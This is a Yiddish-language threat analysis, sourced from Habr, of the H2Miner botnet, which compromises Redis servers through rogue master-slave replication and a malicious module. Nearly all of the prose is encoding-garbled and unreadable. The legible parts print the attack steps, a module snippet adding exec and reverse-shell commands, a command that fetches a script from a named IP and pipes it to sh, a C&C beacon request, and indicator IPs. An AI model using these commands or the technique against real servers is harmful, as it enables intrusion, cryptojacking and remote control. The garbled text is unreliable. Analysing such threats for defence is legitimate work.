ื ืืึธื ืฆืืจืืง, ืืืื ืขืจ ืคืื ืื ืกืขืจืืืขืจืก ืคืื ืืืื ืคึผืจืืืขืงื ืืื ืืขืืืขื ืงืขืื ืืืจื ืึท ืขื ืืขื ืืืึธืจืขื. ืืื ืืืื ืคืื ืึทื ืขื ืืคืขืจ ืฆื ืื ืงืฉืื "ืืืึธืก ืืื ืืึธืก?" ืืื ืืขืคึฟืื ืขื ืึท ืืจืืืก ืึทืจืืืงื ืคืื ืื ืึทืืืืึทืืึท ืงืืึธืื ืกืขืงืืจืืื ืืึทื ืฉืึทืคึฟื. ืืื ื ืืื ืืึธื ื ืื ืืขืคึฟืื ืขื ืืขื ืึทืจืืืงื ืืืืฃ Habrรฉ, ืืื ืืึทืฉืืึธืกื ืฆื ืืืืขืจืืขืฆื ืขืก ืกืคึผืขืฆืืขื ืคึฟืึทืจ ืืืจ <3
ืคึผืึธืืืฆืืข
ืืขืฆืื ืก, ืึทืืืืึทืืึท ืงืืึธืื ืก ืืืืขืจืืืื ืืึทื ืฉืึทืคึฟื ืืืกืงืึทืืืขืจื ืึท ืคึผืืืฆืขืืืืง ืืืกืืจืื ืคืื H2Miner. ืืขืจ ืืืคึผ ืคืื ืืืืืข ืืืึธืจืขื ื ืืฆื ืื ืคืขืื ืคืื ืืขืจืืืืืขื ืืฉ ืึธืืขืจ ืฉืืืึทื ืคึผืึทืกืืืขืจืื ืคึฟืึทืจ Redis ืืื ืืืืืืืืื ืฆื ืืืื ืกืืกืืขืืขื, ื ืึธื ืืืึธืก ืขืก ืกืื ืืงืจืึทื ืืืืื ืืืื ืืืืืขื ืข ืืืืืข ืืึธืืืืข ืืื ืื ืฉืงืืึทืฃ ืืืจื ืืขื-ืฉืงืืึทืฃ ืกืื ืืงืจืึทื ืึทืืืืฉืึทื ืืื ืืขืกืึธืฃ ืืึทืื ืืึธืืื ืืขื ืืืืืข ืืึธืืืืข ืฆื ืื ืึทืืึทืงืืจื ืืึทืฉืื ืืื ืขืงืกืึทืงืืืฅ ืืืืืข. ืื ืกืืจืึทืงืฉืึทื ื.
ืืื ืืขืจ ืคืึทืจืืึทื ืืขื ืืืื, ืื ืคืืื ืืืืฃ ืืืื ืกืืกืืขืืขื ืืขื ืขื ืืคึฟืจื ืืืจืืืขืงืึธืื ืืื ืึท ืืขืืึธื ืืื ืกืงืขืืืฉืืื ืืึทืกืงืก ืึธืืขืจ SSH ืฉืืืกืืขื ืืืึธืก ืืขื ืขื ืืขืฉืจืืื ืฆื ืืืื ืืึทืฉืื ื ืึธื ืื ืึทืืึทืงืขืจ ืืึธืื ืืื Redis. ืฆืื ืืืืง, ืืขื ืืืคึฟื ืงืขื ืขื ื ืื ืืืื ืืขืืืืื ื ืึธืคื ืจืขืื ืฆื ืคึผืจืึธืืืขืืก ืืื ืืขืจืืืืืขื ืืฉ ืงืึธื ืืจืึธื ืึธืืขืจ ืจืขืื ืฆื ืคืึทืจืฉืืืขื ืข ืกืืกืืขื ืืืขืจืกืืขืก. ืึธืืขืจ, ืืขื ืืืคึฟื ืคืื ืืึธืืืื ื ืึท ืืืืืข ืืึธืืืืข ืงืขื ืขื ืืืืื ืืืกืคืืจื ืื ืึทืืึทืงืขืจ ืก ืงืึทืืึทื ืื ืึธืืขืจ ืืึทืงืืืขื ืึทืงืกืขืก ืฆื ืื ืฉืึธื, ืืืึธืก ืืื ืืขืคืขืจืืขื ืคึฟืึทืจ ืืืื ืกืืกืืขื.
ืจืขืื ืฆื ืืขืจ ืืจืืืก ื ืืืขืจ ืคืื Redis ืกืขืจืืืขืจืก ืืึธืืกืืื ืืืืฃ ืืขืจ ืืื ืืขืจื ืขืฅ (ืงืืืึทื 1 ืืืืืึธื), Alibaba Cloud ืก ืืืืขืจืืืื ืืึทื ืฉืึทืคึฟื, ืืื ืึท ืคืจืืึทื ืืืขื ืืขืจืืึธื ืื ื, ืจืขืงืึทืืขื ืื ืึทื ื ืืฆืขืจืก ืืึธื ื ืื ืืืืื Redis ืึธื ืืืื ืืื ืงืขืกืืืืขืจ ืงืึธื ืืจืึธืืืจื ืื ืฉืืึทืจืงืืื ืคืื ืืืืขืจ ืคึผืึทืกืืืขืจืื ืืื ืฆื ืืื ืืขื ืขื ืงืึทืืคึผืจืึทืืืืื. ืฉื ืขื ืกืขืืขืงืฆืืข.
ื 2 ืืืื ืขืจ
H2Miner ืืื ืึท ืืืื ืื ื ืืึธืื ืขื ืคึฟืึทืจ ืืื ืืงืก-ืืืืืจื ืกืืกืืขืืขื ืืืึธืก ืงืขื ืขื ืืึทืคืึทืื ืืืื ืกืืกืืขื ืืื ืึท ืคืึทืจืฉืืืื ืงืืึทื ืคืื ืืืขืื, ืึทืจืืึทื ืืขืจืขืื ื ืคืขืื ืคืื ืืขืจืืืืืขื ืืฉ ืืื Hadoop ืืึทืจื, ืืึธืงืงืขืจ ืืื ืจืขืืืก ืจืืืึธืื ืืึทืคึฟืขื ืืืจืืคืืจืื ื (RCE) ืืืึทืื ืขืจืึทืืืืืืื. ื ืืึธืื ืขื ืึทืจืืขื ืืืจื ืืึทืื ืืึธืืืื ื ืืืืืข ืกืงืจืืคึผืก ืืื ืืึทืืืืึทืจืข ืฆื ืืืื ืื ื ืืืื ืืึทืื, ืืงืกืคึผืึทื ื ืื ืืึทืคืึทืื ืืึธืจืืืึทื ืืึทืื ืืื ืืึทืืื ืืึทืคึฟืขื ืืื ืงืึธื ืืจืึธื (C&C) ืงืึธืืื ืืงืึทืฆืืข.
Redis RCE
ืืืืกื ืืืืฃ ืืขื ืืขืืข ืืื ืืขืืืขื ืฉืขืจื ืืืจื Pavel Toporkov ืืื ZeroNights 2018. ื ืึธื ืืืขืจืกืืข 4.0, Redis ืฉืืืฆื ืึท ืคึผืืื-ืืื ืืึธืืืื ื ืฉืืจืื ืืืึธืก ืืื ื ืืฆืขืจืก ืื ืคืืืืงืืื ืฆื ืืึธืื ืึทืืื ืืขืงืขืก ืฆืื ืืืคืืขืฉืืขืื ืืื C ืืื Redis ืฆื ืืืกืคืืจื ืกืคึผืขืฆืืคืืฉ Redis ืงืึทืืึทื ืื. ืื ืคึฟืื ืงืฆืืข, ืืึธืืฉ ื ืืฆืืง, ืึผืืื ืึท ืืืึทืื ืขืจืึทืืืืืื ืืื ืืืึธืก, ืืื ืืขื-ืฉืงืืึทืฃ ืืึธืืข, ืืขืงืขืก ืงืขื ืขื ืืืื ืกืื ืืงืจืึทื ืืืื ืืื ืื ืฉืงืืึทืฃ ืืืจื ืคืืืจืขืกืื ืง ืืึธืืข. ืืขื ืงืขื ืขื ืืืื ืืขื ืืฆื ืืืจื ืึท ืึทืืึทืงืขืจ ืฆื ืึทืจืืืขืจืคืืจื ืืืืืข ืึทืืื ืืขืงืขืก. ื ืึธื ืื ืึทืจืืืขืจืคืืจื ืืื ืืขืขื ืืืงื, ืื ืึทืืึทืงืขืจื ืืึธืื ืื ืืึธืืืืข ืืืืฃ ืื ืึทืืึทืงืืจื ืจืขืืืก ืืืึทืฉืคึผืื ืืื ืืืกืคืืจื ืงืืื ืืึทืคึฟืขื.
ืืึทืืืืึทืจืข ืืืึธืจืขื ืึทื ืึทืืืกืืก
ืืขืฆืื ืก, ืื ืึทืืืืึทืืึท ืงืืึธืื ืืืืขืจืืืื ืืึทื ืฉืึทืคึฟื ืืืกืงืึทืืืขืจื ืึทื ืื ืืจืืืก ืคืื ืื H2Miner ืืืืืข ืืืื ืขืจ ืืจืืคึผืข ืืื ืคึผืืืฆืืื ื ืืจืึทืืึทืืืงืื ืืขืืืืงืกื. ืืืื ืื ืึทื ืึทืืืกืืก, ืืขืจ ืืขื ืขืจืึทื ืคึผืจืึธืฆืขืก ืคืื ืืึทืคืึทืื ืคึผืึทืกืืจืื ื ืืื ืืื ืืืื:
H2Miner ื ืืฆื RCE Redis ืคึฟืึทืจ ืึท ืคืื-ืคืืขืืืฉื ืืึทืคืึทืื. ืึทืืึทืงืขืจื ืขืจืฉืืขืจ ืืึทืคืึทืื ืึทื ืคึผืจืึทืืขืงืืื Redis ืกืขืจืืืขืจืก ืึธืืขืจ ืกืขืจืืืขืจืก ืืื ืฉืืืึทื ืคึผืึทืกืืืขืจืื.
ืืขืจื ืึธื ืืื ื ืืฆื ืื ืืึทืคึฟืขื config set dbfilename red2.so ืฆื ืืืืฉื ืื ืืขืงืข ื ืึธืืขื. ื ืึธื ืืขื, ืื ืึทืืึทืงืขืจื ืืืกืคืืจื ืืขื ืืึทืคึฟืขื slaveof ืฆื ืฉืืขืื ืื ืืขื-ืฉืงืืึทืฃ ืจืขืคึผืืึทืงืืืฉืึทื ืืึทืืขืืึธืก ืึทืืจืขืก.
ืืืขื ืื ืึทืืึทืงืืจื ืจืขืืืก ืืืึทืฉืคึผืื ืืกืืึทืืืืฉืื ืึท ืืขื-ืฉืงืืึทืฃ ืคึฟืึทืจืืื ืืื ื ืืื ืื ืืืืืข ืจืขืืืก ืืืึธืก ืืื ืึธืื ื ืืืจื ืื ืึทืืึทืงืขืจ, ืืขืจ ืึทืืึทืงืขืจ ืกืขื ืื ืื ืื ืคืขืงืืึทื ืืึธืืืืข ื ืืฆื ืื ืคืืืจืขืกืื ืง ืืึทืคึฟืขื ืฆื ืกืื ืืงืจืึทื ืืื ืื ืืขืงืขืก. ืืขืจ ืจืขื2.ืกืึธ ืืขืงืข ืืืขื ืืขืืึธืื ืืืื ืืึทืื ืืึธืืืื ืฆื ืื ืึทืืึทืงืืจื ืืึทืฉืื. ืื ืึทืืึทืงืขืจื ืืขืืึธืื ื ืืฆื ืื ./red2.so ืืึธืืืื ื ืืึธืืืืข ืฆื ืืึธืื ืืขื ืึทืืื ืืขืงืข. ืืขืจ ืืึธืืืืข ืงืขื ืขื ืืืกืคืืจื ืงืึทืืึทื ืื ืคืื ืึท ืึทืืึทืงืขืจ ืึธืืขืจ ืึธื ืืืืื ืึท ืคืึทืจืงืขืจื ืงืฉืจ (ืืึทืงืืึธืจ) ืฆื ืืึทืงืืืขื ืึทืงืกืขืก ืฆื ืื ืึทืืึทืงืืจื ืืึทืฉืื.
if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
ื ืึธื ืขืงืกืึทืงืืืืื ื ืึท ืืืืืข ืืึทืคึฟืขื ืึทืืึท ืืื / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, ืืขืจ ืึทืืึทืงืขืจ ืืืขื ืืึทืฉืืขืืืง ืื ืืึทืงืึทืคึผ ืืขืงืข ื ืึธืืขื ืืื ืึทื ืืึธืื ืื ืกืืกืืขื ืืึธืืืืข ืฆื ืจืืื ืึทืจืืืฃ ืื ืืจืึทืกืขืก. ืึธืืขืจ, ืื red2.so ืืขืงืข ืืืขื ื ืึธื ืืืืืื ืืืืฃ ืื ืึทืืึทืงืืจื ืืึทืฉืื. ืืืืขืจื ืืขื ืขื ืึทืืืืืืื ืฆื ืืึทืฆืึธืื ืืคืืขืจืงืืึทืืงืืื ืฆื ืืขื ืืืึทืืืึทื ืคืื ืึทืืึท ืึท ืกืึทืกืคึผืืฉืึทืก ืืขืงืข ืืื ืืขืจ ืืขืงืข ืคืื โโโโืืืืขืจ Redis ืืืึทืฉืคึผืื.
ืืื ืึทืืืฉืึทื ืฆื ืืึธืจื ืขืืืขืืข ืืืืืข ืคึผืจืึทืกืขืกืึทื ืฆื ืืึทื ืืืขื ืขื ืจืขืกืืจืกื, ืืขืจ ืึทืืึทืงืขืจ ื ืืืืขืืื ืืขื ืึท ืืืืืข ืฉืจืืคื ืืืจื ืืึทืื ืืึธืืืื ื ืืื ืขืงืกืึทืงืืืืื ื ืืืืืข ืืืื ืขืจื ืืขืงืขืก ืฆื . ืืขื ืืืื ืึทื ืืขืจ ืคึผืจืึธืฆืขืก ื ืึธืืขื ืึธืืขืจ ืืืขืืืืืึทืืขืจ ื ืึธืืขื ืืื ืงืื ืกืื ื ืืืืฃ ืืขืจ ืืึทืืขืืึธืก ืงืขื ืึธื ืืืืึทืื ืึทื ืื ืืึทืฉืื ืืื ืื ืคืขืงืืึทื ืืืจื ืืขื ืืืืจืืก.
ืืืื ืื ืจืขืืืืืืื ืคืื ืคืึทืจืงืขืจื ืื ืืฉืขื ืืขืจืืข, ืื ืืึทืืืืึทืจืข ืืขืจ ืืืืคึผื ืคึผืขืจืคืึธืจืื ืื ืคืืืืขื ืืข ืคืึทื ืืงืฉืึทื ื:
- ืืคึผืืึธืึทืืื ื ืืขืงืขืก ืืื ืขืงืกืึทืงืืืืื ื ืืื
- ืืื ืื ื
- ืึธื ืืึทืืื C&C ืงืึธืืื ืืงืึทืฆืืข ืืื ืืืจืืคืืจื ืึทืืึทืงืขืจ ืงืึทืืึทื ืื
ื ืืฆื ืืึทืกืกืงืึทื ืคึฟืึทืจ ืคืื ืืจืืืกื ืืืง ืกืงืึทื ืื ื ืฆื ืืงืกืคึผืึทื ื ืืืื ืืฉืคึผืขื. ืืื ืึทืืืฉืึทื, ืื IP ืึทืืจืขืก ืคืื ืื C&C ืกืขืจืืืขืจ ืืื ืฉืืืขืจ ืงืึธืืขื ืืื ืืขื ืคึผืจืึธืืจืึทื, ืืื ืืขืจ ืึทืืึทืงืืจื ืืึทืืขืืึธืก ืืืขื ืืืขืจืืขืื ืืื ืื C&C ืงืึธืืื ืืงืึทืฆืืข ืกืขืจืืืขืจ ื ืืฆื ืืืืคึผ ืจืืงืืืขืก, ืืื ืื ืืึทืืื (ืงืึธืืคึผืจืึธืืืกื ืกืขืจืืืขืจ) ืืื ืคึฟืึธืจืืึทืฆืืข ืืื ืืืืขื ืึทืคืืื ืืื ืื ืืืืคึผ ืืขืืขืจ.
GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip
ืื ืืขืจืข ืืึทืคืึทืื ืืขืืืึธืืก
ืืืขื ืื ืืื ืคึฟืึทืจืืื ืืื ืืขื ืืขื ืืฆื ืืืจื ืืขืจ ืืืึธืจืขื
/ืงืื ืกืื ื
โข 142.44.191.122/t.sh
โข 185.92.74.42/h.sh
โข 142.44.191.122/spr.sh
โข 142.44.191.122/spre.sh
โข 195.3.146.118/unk.sh
s&c
โข 45.10.88.102
โข 91.215.169.111
โข 139.99.50.255
โข 46.243.253.167
โข 195.123.220.193
ืจืึทื
ืขืจืฉืืขืจ, Redis ืืึธื ื ืื ืืืื ืฆืืืจืืืืขื ืคึฟืื ืื ืืื ืืขืจื ืขื ืืื ืืึธื ืืืื ืคึผืจืึธืืขืงืืขื ืืื ืึท ืฉืืึทืจืง ืคึผืึทืจืึธื. ืขืก ืืื ืืืื ืืืืืืืง ืึทื ืงืืืืึทื ืฅ ืงืึธื ืืจืึธืืืจื ืึทื ืขืก ืืื ืงืืื red2.so ืืขืงืข ืืื ืื Redis ืืืขืืืืืึทืืขืจ ืืื ืึทื ืขืก ืืื ืงืืื "ืงืื ืกืื ื" ืืื ืืขืจ ืืขืงืข / ืคึผืจืึธืฆืขืก ื ืึธืืขื ืืืืฃ ืืขืจ ืืึทืืขืืึธืก.
ืืงืืจ: www.habr.com